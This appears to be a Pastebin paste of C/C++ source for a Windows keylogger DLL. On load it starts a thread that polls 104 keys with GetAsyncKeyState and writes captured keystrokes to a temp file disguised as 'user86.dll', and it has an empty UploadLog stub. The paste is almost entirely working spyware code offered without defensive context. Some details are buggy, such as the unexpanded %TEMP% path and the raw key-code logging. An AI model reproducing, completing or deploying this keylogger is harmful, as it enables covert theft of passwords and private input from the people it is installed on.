Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //===========================================================================
- //MAIN.H
- //===========================================================================
- void *memset(void *s, int c, size_t n);
- #include <windows.h>
- #include "../keys.h"
- #define DEXPORT __declspec(dllexport)
- #define DCALL __stdcall
- int DCALL DllMain(HINSTANCE hInstance, DWORD fwdReason, LPVOID lpvReserved);
- DWORD DCALL MainExecThread(void *pVoid);
- DWORD DCALL UploadLog(char *filename);
- //===========================================================================
- //MAIN.CPP
- //===========================================================================
- #include "main.h"
- HANDLE hExecThread;
- char buffer[128];
- HANDLE hFile;
- char *fname = "%TEMP%\user86.dll";
- BOOL DCALL DllMain(HINSTANCE hInstance, DWORD fwdReason, LPVOID lpvReserved)
- {
- switch (fwdReason)
- {
- case DLL_PROCESS_ATTACH:
- memset(buffer, 0, sizeof(buffer));
- hFile = CreateFile(fname, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
- hExecThread = CreateThread(0, 0, &MainExecThread, 0, 0, 0);
- break;
- case DLL_THREAD_ATTACH:
- break;
- case DLL_PROCESS_DETACH:
- WriteFile(hFile, buffer, (DWORD)lstrlen(buffer), 0, 0);
- CloseHandle(hFile);
- break;
- case DLL_THREAD_DETACH:
- break;
- }
- return TRUE;
- }
- DWORD DCALL MainExecThread(void *pVoid)
- {
- //Standard 104-key keyboard
- int keys[104] = {
- VK_ESCAPE, VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12, VK_SNAPSHOT, VK_SCROLL, VK_PAUSE,
- VK_OEM_3, KEY_1, KEY_2, KEY_3, KEY_4, KEY_5, KEY_6, KEY_7, KEY_8, KEY_9, KEY_0, VK_OEM_MINUS, VK_OEM_PLUS, VK_BACK, VK_INSERT, VK_HOME, VK_PRIOR, VK_NUMLOCK, VK_DIVIDE, VK_MULTIPLY, VK_SUBTRACT,
- VK_TAB, KEY_Q, KEY_W, KEY_E, KEY_R, KEY_T, KEY_Y, KEY_U, KEY_I, KEY_O, KEY_P, VK_OEM_4, VK_OEM_6, VK_OEM_5, VK_DELETE, VK_END, VK_NEXT, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9, VK_ADD,
- VK_CAPITAL, KEY_A, KEY_S, KEY_D, KEY_F, KEY_G, KEY_H, KEY_J, KEY_K, KEY_L, VK_OEM_1, VK_OEM_7, VK_RETURN, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, /*VK_ADD*/
- VK_LSHIFT, KEY_Z, KEY_X, KEY_C, KEY_V, KEY_B, KEY_N, KEY_M, VK_OEM_COMMA, VK_OEM_PERIOD, VK_OEM_2, VK_RSHIFT, VK_UP, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_RETURN,
- VK_LCONTROL, VK_LWIN, VK_LMENU, VK_SPACE, VK_RMENU, VK_RWIN, VK_APPS, VK_RCONTROL, VK_LEFT, VK_DOWN, VK_RIGHT, VK_NUMPAD0, VK_DECIMAL, /*VK_RETURN*/
- };
- int index = NULL; int key = NULL;
- while (1)
- {
- for (index=0; index<104; index++)
- {
- key = GetAsyncKeyState(keys[index]);
- if (key) {
- buffer[lstrlen(buffer)] = keys[index];
- if (buffer[127] != 0x00) {
- WriteFile(hFile, buffer, (DWORD)lstrlen(buffer), 0, 0);
- memset(buffer, 0, sizeof(buffer)); //Clear buffer
- }
- }
- }
- }
- return 0;
- }
- DWORD DCALL UploadLog(char *filename)
- {
- return 0;
- }
- void *memset(void *s, int c, size_t n)
- {
- unsigned char* p = (unsigned char *)s;
- while(n--)
- *p++ = (unsigned char)c;
- return s;
- }
- //===========================================================================
- //KEYS.H
- //===========================================================================
- #define KEY_0 0x30
- #define KEY_1 0x31
- #define KEY_2 0x32
- #define KEY_3 0x33
- #define KEY_4 0x34
- #define KEY_5 0x35
- #define KEY_6 0x36
- #define KEY_7 0x37
- #define KEY_8 0x38
- #define KEY_9 0x39
- #define KEY_A 0x41
- #define KEY_B 0x42
- #define KEY_C 0x43
- #define KEY_D 0x44
- #define KEY_E 0x45
- #define KEY_F 0x46
- #define KEY_G 0x47
- #define KEY_H 0x48
- #define KEY_I 0x49
- #define KEY_J 0x4A
- #define KEY_K 0x4B
- #define KEY_L 0x4C
- #define KEY_M 0x4D
- #define KEY_N 0x4E
- #define KEY_O 0x4F
- #define KEY_P 0x50
- #define KEY_Q 0x51
- #define KEY_R 0x52
- #define KEY_S 0x53
- #define KEY_T 0x54
- #define KEY_U 0x55
- #define KEY_V 0x56
- #define KEY_W 0x57
- #define KEY_X 0x58
- #define KEY_Y 0x59
- #define KEY_Z 0x5A
Add Comment
Please, Sign In to add comment